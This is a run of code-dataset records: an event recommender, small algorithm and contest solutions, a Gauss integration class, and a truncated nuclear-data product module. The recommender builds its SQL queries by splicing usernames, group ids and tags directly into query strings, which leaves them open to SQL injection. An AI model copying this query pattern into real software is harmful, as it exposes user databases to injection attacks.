corresponding to interests.\r\n \"\"\"\r\n def __init__(self, user):\r\n self.user = user\r\n self.most_interested = []\r\n\r\n def get_user_interests_with_categories(self):\r\n \"\"\"Gets user interests from categories.\r\n\r\n :return: list of user interests.\r\n \"\"\"\r\n database = main.connect_to_cloudsql()\r\n cursor = database.cursor()\r\n cursor.execute(\"SELECT tag, category FROM \" + ENV_DB +\r\n \".UserTags WHERE username='\" + self.user.username + \"'\")\r\n data = cursor.fetchall()\r\n database.close()\r\n return list((i[0], i[1]) for i in data)\r\n\r\n def get_user_interests(self):\r\n \"\"\"Gets user interests from tags.\r\n\r\n :return: None.\r\n \"\"\"\r\n database = main.connect_to_cloudsql()\r\n cursor = database.cursor()\r\n cursor.execute(\"SELECT tag FROM \" + ENV_DB +\r\n \".UserTags WHERE username='\" + self.user.username + \"'\")\r\n data = cursor.fetchall()\r\n database.close()\r\n\r\n self.most_interested = sorted([i[0] for i in data])\r\n return self.most_interested\r\n\r\n def get_events(self):\r\n \"\"\"Gets all events based on username.\r\n\r\n :return: List of data.\r\n \"\"\"\r\n database = main.connect_to_cloudsql()\r\n cursor = database.cursor()\r\n\r\n query = \"\"\"\r\n SELECT DISTINCT E.eid, E1.ename, E1.description,\r\n E.category, E1.start_date, E1.end_date, E1.num_cap,\r\n E1.num_attending, L.lname, L.address_1, E.tag, L.lat, L.lon\r\n FROM {}.EventTags AS E, {}.UserTags AS U, {}.Events as E1, {}.Locations as L\r\n WHERE U.username='{}' AND\r\n E.tag = U.tag AND\r\n E1.eid = E.eid AND\r\n E1.lid = L.lid AND\r\n E1.start_date >= {}\r\n ORDER by E1.start_date\r\n \"\"\".format(\r\n ENV_DB,\r\n ENV_DB,\r\n ENV_DB,\r\n ENV_DB,\r\n self.user.username,\r\n str(datetime.date.today())\r\n )\r\n\r\n cursor.execute(query)\r\n data = cursor.fetchall()\r\n database.close()\r\n\r\n return [i for i in data]\r\n\r\n\r\nclass GroupRecommend:\r\n \"\"\"Class to recommend events to groups.\r\n\r\n Gets interests of each member and merges into similar interests.\r\n \"\"\"\r\n def __init__(self, g_id):\r\n self.g_id = g_id\r\n self.members = self.get_members()\r\n self.interests = self.get_group_interests()\r\n\r\n def get_members(self):\r\n \"\"\"Gets members of the group.\r\n\r\n :return: List of members.\r\n \"\"\"\r\n database = main.connect_to_cloudsql()\r\n cursor = database.cursor()\r\n query = (\"SELECT username from \" + ENV_DB + \".Groups WHERE gid='{}'\").format(self.g_id)\r\n cursor.execute(query)\r\n data = cursor.fetchall()\r\n database.close()\r\n return list(i[0] for i in data)\r\n\r\n def get_interests_each_member(self, username):\r\n \"\"\"Gets interests of each individual member of the group.\r\n\r\n :param username: String username.\r\n :return: Set of interests for each member.\r\n \"\"\"\r\n database = main.connect_to_cloudsql()\r\n cursor = database.cursor()\r\n cursor.execute(\"SELECT tag FROM \" + ENV_DB + \".UserTags WHERE username='\" + username + \"'\")\r\n data = cursor.fetchall()\r\n database.close()\r\n return set([i[0] for i in data])\r\n\r\n def get_group_interests(self):\r\n \"\"\"Gets group's interests after pulling each member's interests.\r\n\r\n :return: List of common interests for the group.\r\n \"\"\"\r\n common_tags = set()\r\n for mem in self.members:\r\n if len(common_tags) == 0:\r\n common_tags = self.get_interests_each_member(mem)\r\n else:\r\n common_tags = common_tags.intersection(self.get_interests_each_member(mem))\r\n return list(common_tags)\r\n\r\n def get_events(self):\r\n \"\"\"Gets events for common tags.\r\n\r\n :return: List of events with common tags for each group.\r\n \"\"\"\r\n database = main.connect_to_cloudsql()\r\n cursor = database.cursor()\r\n\r\n result = []\r\n for tag in self.interests:\r\n query = \"\"\"\r\n SELECT DISTINCT E.eid, E1.ename, E1.description,\r\n E.category, E1.start_date, E1.end_date, E1.num_cap,\r\n E1.num_attending, L.lname, L.address_1, E.tag, L.lat, L.lon\r\n FROM {}.EventTags AS E, {}.UserTags AS U, {}.Events as E1, {}.Locations as L\r\n WHERE E.tag = '{}' AND\r\n E1.eid = E.eid AND\r\n E1.lid = L.lid AND\r\n E1.start_date > {}\r\n ORDER by E1.start_date\r\n \"\"\".format(\r\n ENV_DB,\r\n ENV_DB,\r\n ENV_DB,\r\n ENV_DB,\r\n tag,\r\n str(datetime.date.today())\r\n )\r\n\r\n cursor.execute(query)\r\n data = cursor.fetchall()\r\n result.extend([i for i in data])\r\n\r\n database.close()\r\n\r\n return result\r\n","sub_path":"code/recommender.py","file_name":"recommender.py","file_ext":"py","file_size_in_byte":5540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"640746459","text":"import time\n\nstart = time.time()\n\n\"\"\"def primes(n):\n #starts with 2\n sieve = [False, False] + [True]*(n-2)\n for i in range(2, n):\n if i*i <= n:\n for j in range(i*i, n, i):\n sieve[j] = False\n return(sieve)\n\n\ndef factors(n):\n g = [False] * (n+2)\n j = list(set([i for i in range(1, int(n**.5) + 1) if n % i == 0] + \n [int(n/i) for i in range(1, int(n**.5) + 1) if n % i == 0]))\n split b/c line too long\n\n j.sort()\n #for l in j:\n # g[l] = True\n return j\n\n\np = primes(110)\nlis = []\nfor a in range(2, 101):\n for b in range(2, 101):\n if p[b] == False:\n for test in factors(b):\n if a**(b/test) > 100:\n lis.append(a)\n else:\n lis.append(a)\n\nprint(len(lis))\"\"\"\n\n# my GOD i'm a dumbass. thank god for set()\nlis = []\nfor a in range(2, 101):\n for b in range(2, 101):\n lis.append(a ** b)\n\ng = list(set(lis))\n\nprint(len(g))\n\n# this took: 0.012209892272949219\n\nprint(\"this took:\", time.time() - start)\n","sub_path":"Solved 1-50/29. Distinct powers.py","file_name":"29. Distinct powers.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"200805960","text":"'''\nGiven an unsorted integer array, find the smallest missing positive integer.\n\nExample 1:\n\nInput: [1,2,0]\nOutput: 3\nExample 2:\n\nInput: [3,4,-1,1]\nOutput: 2\nExample 3:\n\nInput: [7,8,9,11,12]\nOutput: 1\nNote:\n\nYour algorithm should run in O(n) time and uses constant extra space.\n'''\n\ndef first_missing_positive(nums):\n index = 0\n for i, val in enumerate(nums):\n if not 0 < val <= len(nums):\n nums[i], nums[index] = nums[index], nums[i]\n if nums[index] <= 0: nums[index] = 1\n index += 1\n \n for i in range(index, len(nums)):\n val = abs(nums[i])\n if nums[val - 1] > 0:\n nums[val - 1] = -nums[val - 1]\n \n for i in range(len(nums)):\n if nums[i] > 0:\n return i + 1\n\n return len(nums) + 1\n\n","sub_path":"algorithms/arrays/first_missing_positive.py","file_name":"first_missing_positive.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"122386475","text":"#-*- coding: utf-8 -*-\nfrom math import cos, pi\n\n# Красюка Никиты НК-301\n# Численные Методы\n# Лаб.№ 3.2\n# Формулы Гаусса-Кристофеля, оценки погрешностей, составные формулы\n\n\nclass IntegrationGauss(object):\n def __init__(self, function):\n self.function = function\n\n def __getitem__(self, key):\n # start, stop, step - начало, конец, степень полинома Лежандра\n start, stop, n = key.start, key.stop, key.step\n # вычисляем коэффициенты\n c1, c2 = (stop + start)/2.0, (stop - start)/2.0\n # находим корни многочлена Лежандра и соответствующие веса\n roots, weights = self.gauss_nodes(n)\n # вычисляем сумму произведений весов на значения функций в найденных корнях\n return c2*sum([weights[i]*self.function(c1 + c2*roots[i]) for i in range(len(roots))])\n\n # ф-я нахождения значения корней многочлена Лежандра m и соответствующих весов\n @staticmethod\n def gauss_nodes(m, tol=10e-9):\n # нахождение полинома степени M и его значения в точке V\n def legendre(v, m):\n p0, p1, tmp = 1.0, v, None\n for k in range(1, m):\n tmp = ((2.0*k + 1.0)*v*p1 - k*p0)/(1.0 + k)\n p0 = p1\n p1 = tmp\n dp = m*(p0 - v*p1)/(1.0 - v**2)\n return tmp, dp\n # a - веса, х - корни\n a = [0. for _ in range(m)]\n x = [0. for _ in range(m)]\n # кол-во корней\n roots_number = (m + 1)/2\n for i in range(roots_number):\n # аппроксимация начального значения корня\n t = cos(pi*(i + 0.75)/(m + 0.5))\n # дальнейшее нахождение корня по методу Ньютона-Рафсона\n for j in range(30):\n p, dp = legendre(t, m)\n dt = -p/dp\n t += dt\n if abs(dt) < tol:\n x[i] = t\n x[m-i-1] = -t\n a[i] = 2.0/(1.0 - t**2)/(dp**2)\n a[m-i-1] = a[i]\n break\n return x, a","sub_path":"UniversityTasks/NumericalMethods/IntegrationGauss/IntegrationGauss.py","file_name":"IntegrationGauss.py","file_ext":"py","file_size_in_byte":2510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"51009852","text":"import sys\n\n\ninput = sys.stdin.readline\n\nt = int(input())\ns = []\nfor _ in range(t):\n s.append(''.join(input().split()))\n\n\ndef main():\n for i in range(len(s)):\n days, seen = 0, []\n for j in range(len(s[i])):\n if s[i][j] not in seen:\n if len(seen) >= 3:\n days += 1\n seen = [s[i][j]]\n elif len(seen) < 3:\n seen.append(s[i][j])\n if len(seen) > 0 or len(s[i]) == 1:\n days += 1\n print(days)\n\n\nmain()\n","sub_path":"CodeForces Problems/Competitions/Problems/string_from_memory.py","file_name":"string_from_memory.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"87167370","text":"# <>\n# Copyright 2022, Lawrence Livermore National Security, LLC.\n# See the top-level COPYRIGHT file for details.\n# \n# SPDX-License-Identifier: BSD-3-Clause\n# <>\n\n\"\"\"\nThis module contains the product class.\n\nGNDS classes store reaction data in a hierarchical format. At the top is the product class. Next is the\nchannel, representing the reaction output channels. An output channel contains the Q-value and a list\nof outgoing products (some of which may decay into other particles).\nThe channel is stored inside the reaction class, which consists of an input and output channel together,\n(e.g. n_1 + O_16 --> H_1 + N_16). Finally, the reactionSuite class is used to store a list of reaction\nfor a given input channel (that is, for the incoming particles that come together in the reaction).\nThe following outline summarizes the classes.\n\n:product:\n Outgoing particle, including multiplicity and distribution information.\n\n:channel:\n A Q-value plus a list of products.\n\n:reaction:\n Contains a cross section (defined in the gnds.reactionData.crossSection module), along with\n an outgoing channel which must be a outputChannel instance (e.g., 2n + Pu239).\n \n:reactionSuite:\n Contains all reactions sharing the same input channel (e.g. n + Pu239)\n \n (e.g., n + Pu239 --> n + Pu239, n + Pu239 --> n + Pu239_e1,\n n + Pu239 --> n + Pu239_e2, n + Pu239 --> 2n + Pu239 ... )\n\"\"\"\n\nfrom PoPs import IDs as IDsPoPsModule\nfrom PoPs import misc as miscPoPsModule\nfrom PoPs.decays import misc as miscDecaysPoPsModule\nfrom PoPs.families import particle as PoPsParticleModule\n\nfrom fudge.core.utilities import brb\n\nfrom xData import enums as xDataEnumsModule\nfrom xData import vector as vectorModule\nfrom xData import matrix as matrixModule\nfrom xData import productArray as productArrayModule\nfrom LUPY import ancestry as ancestryModule\n\nfrom fudge import enums as enumsModule\nfrom fudge import reactionProducts as reactionProductsModule\nfrom fudge import outputChannel as outputChannelModule\nfrom fudge import suites as suitesModule\n\nfrom .productData.distributions import distribution as distributionModule\nfrom .productData.distributions import unspecified as unspecifiedModule\nfrom .productData.distributions import miscellaneous as miscellaneousModule\nfrom .productData import multiplicity as multiplicityModule\nfrom .productData import averageProductEnergy as averageProductEnergyModule\nfrom .productData import averageProductMomentum as averageProductMomentumModule\n\n\nclass Product( ancestryModule.AncestryIO ) :\n \"\"\"\n This is the class for a gnds product. If the product can decay (e.g. for breakup reactions),\n the resulting decay information is defined in the product outputChannel\n \"\"\"\n\n moniker = 'product'\n ancestryMembers = ( 'multiplicity', 'distribution', 'outputChannel', 'averageProductEnergy', 'averageProductMomentum' )\n keyName = 'label'\n\n def __init__( self, pid, label, outputChannel = None ) :\n \"\"\"Creates a new product object.\"\"\"\n\n ancestryModule.AncestryIO.__init__( self )\n\n self.__pid = pid\n self.label = label\n self.__particle = None # lazy evaluation\n\n self.__outputChannel = None\n if( outputChannel is not None ) : self.addOutputChannel( outputChannel )\n\n self.__multiplicity = multiplicityModule.Component( )\n self.__multiplicity.setAncestor( self )\n\n self.__averageProductEnergy = averageProductEnergyModule.Component( )\n self.__averageProductEnergy.setAncestor( self )\n\n self.__averageProductMomentum = averageProductMomentumModule.Component( )\n self.__averageProductMomentum.setAncestor( self )\n\n self.__distribution = distributionModule.Component( )\n self.__distribution.setAncestor( self )\n\n def __cmp__( self, other ) :\n \"\"\"Compares self to other.\"\"\"\n\n if( self.pid < other.pid ) : return( -1 )\n if( self.pid > other.pid ) : return( 1 )\n if( self.__outputChannel < other.outputChannel ) : return( -1 )\n if( self.__outputChannel > other.outputChannel ) : return( 1 )\n return( 0 )\n\n def __str__( self ) :\n \"\"\"Converts product object to a string representation.\"\"\"\n\n return( self.toString( simpleString = False ) )\n\n @property\n def pid( self ) :\n\n return( self.__pid )\n\n @property\n def outputChannel( self ) :\n\n return( self.__outputChannel )\n \n @property\n def particle( self ) :\n\n if( self.__particle is None ) :\n pops = self.findAttributeInAncestry( 'PoPs' )\n try :\n self.__particle = pops[self.pid]\n except :\n baseName, anti, qualifier = miscPoPsModule.baseAntiQualifierFromID( self.pid, qualifierAllowed = True )\n name = baseName + anti\n self.__particle = pops.chemicalElements.getSymbol( name )\n return( self.__particle )\n\n @property\n def label( self ) :\n \"\"\"Returns self's label.\"\"\"\n\n return( self.__label )\n\n @label.setter\n def label( self, value ) :\n\n if( not( isinstance( value, str ) ) ) : raise TypeError( 'label must be a string' )\n self.__label = value\n\n @property\n def parentProduct( self ) :\n \"\"\"Returns the parent product of self or None, if self does not have a parent product.\"\"\"\n\n try :\n return( self.ancestor.findClassInAncestry( self.__class__ ) )\n except :\n return( None )\n\n @property\n def multiplicity( self ) :\n\n return( self.__multiplicity )\n\n @property\n def averageProductEnergy(self):\n\n return self.__averageProductEnergy\n\n @property\n def averageProductMomentum(self):\n\n return self.__averageProductMomentum\n\n @property\n def distribution( self ) :\n\n return( self.__distribution )\n\n def addOutputChannel( self, outputChannel ) :\n \"\"\"Adds outputChannel to particle.\"\"\"\n\n if isinstance(outputChannel, outputChannelModule.OutputChannel):\n self.__outputChannel = outputChannel\n self.__outputChannel.setAncestor( self )\n else :\n raise TypeError( 'Invalid decay channel = %s' % brb.getType( outputChannel ) )\n\n def amendForPatch( self, fromLabel, toLabel ) :\n\n self.__multiplicity.amendForPatch( fromLabel, toLabel )\n self.__averageProductEnergy.amendForPatch( fromLabel, toLabel )\n self.__averageProductMomentum.amendForPatch( fromLabel, toLabel )\n self.__distribution.amendForPatch( fromLabel, toLabel )\n\n def convertUnits( self, unitMap ) :\n \"See documentation for reactionSuite.convertUnits.\"\n\n self.multiplicity.convertUnits( unitMap )\n self.averageProductEnergy.convertUnits( unitMap )\n self.averageProductMomentum.convertUnits( unitMap )\n self.distribution.convertUnits( unitMap )\n if( self.__outputChannel is not None ) : self.__outputChannel.convertUnits( unitMap )\n\n def checkProductFrame( self ) :\n \"\"\"\n Calls checkProductFrame for self's distributions and if present for its outputChannel.\n \"\"\"\n\n self.distribution.checkProductFrame( )\n if( self.__outputChannel is not None ) : self.__outputChannel.checkProductFrame( )\n\n def cullStyles( self, styleList ) :\n\n self.__multiplicity.cullStyles( styleList )\n self.__distribution.cullStyles( styleList )\n self.__averageProductEnergy.cullStyles( styleList )\n self.__averageProductMomentum.cullStyles( styleList )\n\n @property\n def domainMin( self ) :\n\n return( self.multiplicity.domainMin )\n\n @property\n def domainMax( self ) :\n\n return( self.multiplicity.domainMax )\n\n @property\n def domainUnit( self ) :\n\n return( self.multiplicity.domainUnit )\n\n def diff( self, other, diffResults ) :\n\n self.distribution.diff( other.distribution, diffResults )\n\n def findLinks( self, links ) :\n\n for ancestryMember in self.ancestryMembers :\n if( getattr( self, ancestryMember ) is None ) : continue\n getattr( self, ancestryMember ).findLinks( links )\n\n def fixDomains(self, labels, energyMin, energyMax):\n \"\"\"\n Calls the **fixDomains** for the *multiplicity*, *distribution* and *outputChannel* members.\n \"\"\"\n\n numberOfFixes = self.__multiplicity.fixDomains(labels, energyMin, energyMax)\n numberOfFixes += self.__distribution.fixDomains(labels, energyMin, energyMax)\n if self.__outputChannel is not None: numberOfFixes += self.__outputChannel.fixDomains(labels, energyMin, energyMax)\n\n return numberOfFixes\n\n def thresholdQAs(self, unit, final=True, pops=None):\n\n if self.__outputChannel is not None:\n return self.__outputChannel.thresholdQAs(unit, final=final, pops=pops)\n\n return 0.0\n\n def getLevelAsFloat( self, unit, default = 0. ) :\n\n if( hasattr( self.particle, 'getLevelAsFloat' ) ) : return( self.particle.getLevelAsFloat( unit, default = default ) )\n return( default )\n\n def getMass( self, unit ) :\n \"\"\"Returns the mass of the particle if possible, otherwise None is returned.\"\"\"\n\n particle = self.particle\n PoPs = self.findAttributeInAncestry('PoPs')\n if particle.id in PoPs.aliases:\n particle = PoPs[particle.id]\n return( particle.getMass( unit ) )\n\n def isSpecified(self):\n '''\n Returns **True** if both the multiplicity and distribution have specified data. That is, each have at least one unspecified data set.\n '''\n\n return self.multiplicity.isSpecified() and self.distribution.isSpecified()\n\n def listOfProducts(self):\n \"\"\"Returns, as a set, the list of PoP's ids for all products (i.e., outgoing particles) for *self*.\"\"\"\n\n products = set([self.__pid])\n if self.__outputChannel is not None: products.update(self.__outputChannel.listOfProducts())\n\n return products\n\n def calculateAverageProductData( self, style, indent, **kwargs ) :\n\n verbosity = kwargs['verbosity']\n indent2 = indent + kwargs['incrementalIndent']\n indent3 = indent2 + kwargs['incrementalIndent']\n\n reactionSuite = kwargs['reactionSuite']\n energyUnit = kwargs['incidentEnergyUnit']\n momentumUnit = kwargs['momentumUnit']\n massUnit = kwargs['massUnit']\n energyAccuracy = kwargs['energyAccuracy']\n momentumAccuracy = kwargs['momentumAccuracy']\n\n kwargs['product'] = self\n try :\n kwargs['productMass'] = reactionSuite.PoPs[self.pid].getMass( massUnit )\n except : # Can happend when mass is not needed for evaluation and hence not stored.\n kwargs['productMass'] = None\n\n if( verbosity > 1 ) :\n print('%s%s: label = %s: calculating average product data' % (indent, self.pid, self.label))\n if( len( self.distribution ) > 0 ) :\n multiplicity = style.findFormMatchingDerivedStyle( self.multiplicity )\n if( not( isinstance( multiplicity, (multiplicityModule.Branching1d, multiplicityModule.Unspecified) ) ) ) :\n kwargs['multiplicity'] = multiplicity.toPointwise_withLinearXYs( accuracy = 1e-5, lowerEps = 1e-6, upperEps = 1e-6 )\n\n energyData, momentumData = self.distribution.calculateAverageProductData( style, indent = indent2, **kwargs )\n if( energyData is not None ) :\n axes = averageProductEnergyModule.defaultAxes( energyUnit = energyUnit )\n if( len( energyData ) == 1 ) :\n averageEnergy = averageProductEnergyModule.XYs1d( data = energyData[0], axes = axes, label = style.label ) \n else :\n averageEnergy = averageProductEnergyModule.Regions1d( axes = axes, label = style.label )\n for energyDataRegion in energyData :\n averageEnergyRegion = averageProductEnergyModule.XYs1d( data = energyDataRegion, axes = axes )\n averageEnergy.append( averageEnergyRegion )\n self.averageProductEnergy.add( averageEnergy )\n if( momentumData is not None ) :\n axes = averageProductMomentumModule.defaultAxes( energyUnit = energyUnit, momentumUnit = momentumUnit )\n if( len( momentumData ) == 1 ) :\n averageMomentum = averageProductMomentumModule.XYs1d( data = momentumData[0], axes = axes, label = style.label ) \n else :\n averageMomentum = averageProductMomentumModule.Regions1d( axes = axes, label = style.label ) \n for momentumDataRegion in momentumData :\n averageMomentumRegion = averageProductMomentumModule.XYs1d( data = momentumDataRegion, axes = axes ) \n averageMomentum.append( averageMomentumRegion )\n self.averageProductMomentum.add( averageMomentum )\n\n if( self.__outputChannel is not None ) :\n self.__outputChannel.calculateAverageProductData( style, indent = indent3, **kwargs )\n\n def partialProductionIntegral(self, reaction_suite, productID, energyIn, energyOut=None, muOut=None, phiOut=None, \n frame=xDataEnumsModule.Frame.product, LegendreOrder=0, **kwargs):\n\n def branchingGammas(initialState, photonBranchingData, probability, LegendreOrder):\n\n partialProductionIntegralSum = 0.0\n if LegendreOrder != 0:\n return partialProductionIntegralSum # Currently, assume isotropic scattering in lab frame.\n if initialState in photonBranchingData:\n gammas = photonBranchingData[initialState]['photons']\n for branchingRatio, gammaEnergy, finalState, photonEmissionProbability in gammas :\n gammaEnergy = float(gammaEnergy)\n energyOutMin, energyOutMax = miscellaneousModule.domainLimits(energyOut, gammaEnergy, gammaEnergy)\n if energyOutMin <= gammaEnergy <= energyOutMax:\n partialProductionIntegralSum += branchingRatio * probability * photonEmissionProbability\n partialProductionIntegralSum += branchingGammas(finalState, photonBranchingData, branchingRatio * probability, LegendreOrder)\n\n return partialProductionIntegralSum\n\n partialProductionIntegralSum = 0.0\n\n if( self.pid == productID ) :\n if( self.distribution.hasData( ) ) :\n multiplicity = self.multiplicity[0]\n if( isinstance( multiplicity, multiplicityModule.Branching1d ) ) :\n photonBranchingData = miscDecaysPoPsModule.photonBranchingData( reaction_suite.PoPs, self.parentProduct.pid )\n factor = miscellaneousModule.muPhiEvaluate( muOut, phiOut )\n partialProductionIntegralSum += factor * branchingGammas( multiplicity.product.parentProduct.pid, photonBranchingData, 1.0, LegendreOrder )\n else :\n domainMin = self.multiplicity[0].domainMin\n domainMax = self.multiplicity[0].domainMax\n if( domainMin <= energyIn <= domainMax ) :\n multiplicity = self.multiplicity.evaluate( energyIn )\n if( multiplicity != 0.0 ) :\n partialProductionIntegralSum = self.distribution.integrate( reaction_suite, energyIn, energyOut = energyOut, \n muOut = muOut, phiOut = phiOut, frame = frame, LegendreOrder = LegendreOrder )\n partialProductionIntegralSum *= multiplicity\n\n if( self.__outputChannel is not None ) :\n partialProductionIntegralSum += self.__outputChannel.partialProductionIntegral( reaction_suite, productID, energyIn, energyOut = energyOut, \n muOut = muOut, phiOut = phiOut, frame = frame, LegendreOrder = LegendreOrder )\n\n return( partialProductionIntegralSum )\n\n def processMC_cdf( self, style, tempInfo, indent = '', incrementalIndent = ' ' ) :\n\n indent2 = indent + tempInfo['incrementalIndent']\n verbosity = tempInfo['verbosity']\n if( verbosity > 1 ) : print('%s%s: label = %s: MonteCarlo_cdf processing' % ( indent, self.pid, self.label ))\n\n self.distribution.processMC_cdf( style, tempInfo, indent )\n if( self.__outputChannel is not None ) : self.__outputChannel.processMC_cdf( style, tempInfo, indent2 )\n\n def processMultiGroup( self, style, tempInfo, indent ) :\n\n indent2 = indent + tempInfo['incrementalIndent']\n verbosity = tempInfo['verbosity']\n\n tempInfo['workFile'].append( self.label )\n\n doIt = not( isinstance( self.distribution[0], unspecifiedModule.Form ) )\n if( doIt and ( self.pid in style.transportables ) ) :\n if( verbosity > 1 ) :\n print('%s%s: label = %s: multiGroup processing' % ( indent, self.pid, self.label ))\n\n productMass = tempInfo['masses']['Product'] # Save to restore later\n tempInfo['masses']['Product'] = self.getMass( tempInfo['massUnit'] )\n tempInfo['product'] = self\n tempInfo['multiplicity'] = self.multiplicity\n\n self.multiplicity.processMultiGroup( style, tempInfo, indent )\n self.averageProductEnergy.processMultiGroup( style, tempInfo, indent )\n self.averageProductMomentum.processMultiGroup( style, tempInfo, indent )\n try :\n self.distribution.processMultiGroup( style, tempInfo, indent )\n except :\n if( tempInfo['logFile'] is None ) :\n raise\n else :\n import traceback\n tempInfo['logFile'].write( '\\n' + self.toXLink() + ':\\n' + traceback.format_exc( ) + '\\n' )\n tempInfo['failures'] += 1\n tempInfo['masses']['Product'] = productMass\n\n if( self.__outputChannel is not None ) : self.__outputChannel.processMultiGroup( style, tempInfo, indent2 )\n\n del tempInfo['workFile'][-1]\n\n def multiGroupQ(self, multiGroupSettings, temperatureInfo, includeFinalProducts):\n \"\"\"\n Returns the sum of the multi-group, Q for the requested label for the this product and any sub-product.\n\n This is a cross section weighted Q. If includeFinalProducts is False, only the Q for the products output channel is returned, \n otherwise, the Q for all output channels summed, including output channels for each products.\n\n :param multiGroupSettings: Object instance to instruct deterministic methods on what data are being requested.\n :param temperatureInfo: TemperatureInfo instance whose HeatedMultiGroup or SnElasticUpScatter label specifies the multi-group data to retrieve.\n :param includeFinalProducts: If true, the Q is calculated for all output channels, including those for products.\n \"\"\"\n Q = vectorModule.Vector()\n if self.outputChannel is not None:\n Q += self.outputChannel.multiGroupQ(multiGroupSettings, temperatureInfo, includeFinalProducts)\n\n return Q\n\n def multiGroupMultiplicity(self, multiGroupSettings, temperatureInfo, productID):\n \"\"\"\n Returns the sum of the multi-group, multiplicity for the requested label for the this product and any sub-product.\n \n This is a cross section weighted multiplicity.\n\n :param multiGroupSettings: Object instance to instruct deterministic methods on what data are being requested.\n :param temperatureInfo: TemperatureInfo instance whose HeatedMultiGroup or SnElasticUpScatter label specifies the multi-group data to retrieve.\n :param productID: Particle id for the requested product.\n \"\"\"\n\n if self.outputChannel is None:\n if self.pid == productID:\n multiplicity = multiGroupSettings.formAsVector(self.multiplicity, temperatureInfo)\n else:\n multiplicity = vectorModule.Vector()\n else:\n multiplicity = self.outputChannel.multiGroupMultiplicity(multiGroupSettings, temperatureInfo, productID)\n\n return multiplicity\n\n def multiGroupAverageEnergy(self, multiGroupSettings, temperatureInfo, productID):\n \"\"\"\n Returns the sum of the multi-group, average energy for the requested label for the requested product.\n \n This is a cross section weighted average energy summed over this and all sub-products.\n\n :param multiGroupSettings: Object instance to instruct deterministic methods on what data are being requested.\n :param temperatureInfo: TemperatureInfo instance whose HeatedMultiGroup or SnElasticUpScatter label specifies the multi-group data to retrieve.\n :param productID: Particle id for the requested product.\n \"\"\"\n\n if self.outputChannel is None:\n if self.pid == productID:\n averageEnergy = multiGroupSettings.formAsVector(self.averageProductEnergy, temperatureInfo)\n else:\n averageEnergy = vectorModule.Vector()\n else:\n averageEnergy = self.outputChannel.multiGroupAverageEnergy(multiGroupSettings, temperatureInfo, productID)\n\n return averageEnergy\n\n def multiGroupAverageMomentum(self, multiGroupSettings, temperatureInfo, productID):\n \"\"\"\n Returns the sum of the multi-group, average momentum for the requested label for the requested product.\n \n This is a cross section weighted average momentum summed over this and all sub-products.\n\n :param multiGroupSettings: Object instance to instruct deterministic methods on what data are being requested.\n :param temperatureInfo: TemperatureInfo instance whose HeatedMultiGroup or SnElasticUpScatter label specifies the multi-group data to retrieve.\n :param productID: Particle id for the requested product.\n \"\"\"\n\n if self.outputChannel is None:\n if self.pid == productID:\n averageMomentum = multiGroupSettings.formAsVector(self.averageProductMomentum, temperatureInfo)\n else:\n averageMomentum = vectorModule.Vector()\n else:\n averageMomentum = self.outputChannel.multiGroupAverageMomentum(multiGroupSettings, temperatureInfo, productID)\n\n return averageMomentum\n\n def multiGroupProductMatrix(self, multiGroupSettings, temperatureInfo, particles, productID, legendreOrder):\n \"\"\"\n Returns the multi-group, product matrix for the requested label for the requested product index for the requested Legendre order.\n\n :param multiGroupSettings: Object instance to instruct deterministic methods on what data are being requested.\n :param temperatureInfo: TemperatureInfo instance whose HeatedMultiGroup or SnElasticUpScatter label specifies the multi-group data to retrieve.\n :param particles: The list of particles to be transported.\n :param productID: Particle id for the requested product.\n :param legendreOrder: Requested Legendre order.\n \"\"\"\n\n if self.outputChannel is None:\n if self.pid == productID:\n productMatrix = multiGroupSettings.formAsMatrix(self.distribution, temperatureInfo, legendreOrder)\n else:\n productMatrix = matrixModule.Matrix()\n\n else:\n productMatrix = self.outputChannel.multiGroupProductMatrix(multiGroupSettings, temperatureInfo, particles, productID, legendreOrder)\n\n return productMatrix\n\n def multiGroupProductArray(self, multiGroupSettings, temperatureInfo, particles, productID):\n \"\"\"\n Returns the full multi-group, total product array for the requested label for the requested product id.\n\n :param multiGroupSettings: MG instance to instruct deterministic methods on what data are being requested.\n :param temperatureInfo: TemperatureInfo instance whose HeatedMultiGroup or SnElasticUpScatter label specifies the multi-group data to retrieve.\n :param particles: The list of particles to be transported.\n :param productID: Particle id for the requested product.\n \"\"\"\n\n productArray = productArrayModule.ProductArray()\n\n if self.outputChannel is None:\n if self.pid == productID:\n form = multiGroupSettings.form(self.distribution, temperatureInfo)\n if form is not None:\n productArray = productArrayModule.ProductArray(form.multiGroupSubform.array.constructArray())\n else:\n productArray = self.outputChannel.multiGroupProductArray(multiGroupSettings, temperatureInfo, particles, productID)\n\n return productArray\n\n def check( self, info ):\n \"\"\" check product multiplicity, distribution and breakup products (if applicable) \"\"\"\n from fudge import warning\n warnings = []\n\n multWarnings = self.multiplicity.check( info )\n if multWarnings:\n warnings.append( warning.Context(\"Multiplicity:\", multWarnings) )\n\n if( ( self.label in info['transportables'] ) and ( not self.distribution.hasData( ) ) ) :\n warnings.append( warning.MissingDistribution( self.label, self ) )\n\n distributionWarnings = self.distribution.check( info )\n if distributionWarnings:\n warnings.append( warning.Context(\"Distribution:\", distributionWarnings) )\n\n if self.__outputChannel is not None:\n parentIsTwoBody = info['isTwoBody']\n info['isTwoBody'] = self.__outputChannel.genre == enumsModule.Genre.twoBody\n for decayProduct in self.__outputChannel:\n decayWarnings = decayProduct.check( info )\n if decayWarnings:\n warnings.append( warning.Context(\"Decay product: %s\" % decayProduct.label, decayWarnings) )\n info['isTwoBody'] = parentIsTwoBody # reset to parent channel\n\n return warnings\n\n def reactionProducts(self, _reactionProducts):\n\n category = reactionProductsModule.Category.particle\n if self.__outputChannel is not None: category = reactionProductsModule.Category.intermediate\n\n multiplicityForm = self.multiplicity.evaluated\n multiplicity = 0\n if isinstance(multiplicityForm, multiplicityModule.Constant1d): multiplicity = multiplicityForm.value\n if int(multiplicity) == multiplicity: multiplicity = int(multiplicity)\n\n pid = self.pid\n pops = self.findAttributeInAncestry('PoPs')\n particle = pops[pid]\n if isinstance(particle, PoPsParticleModule.Alias): pid = 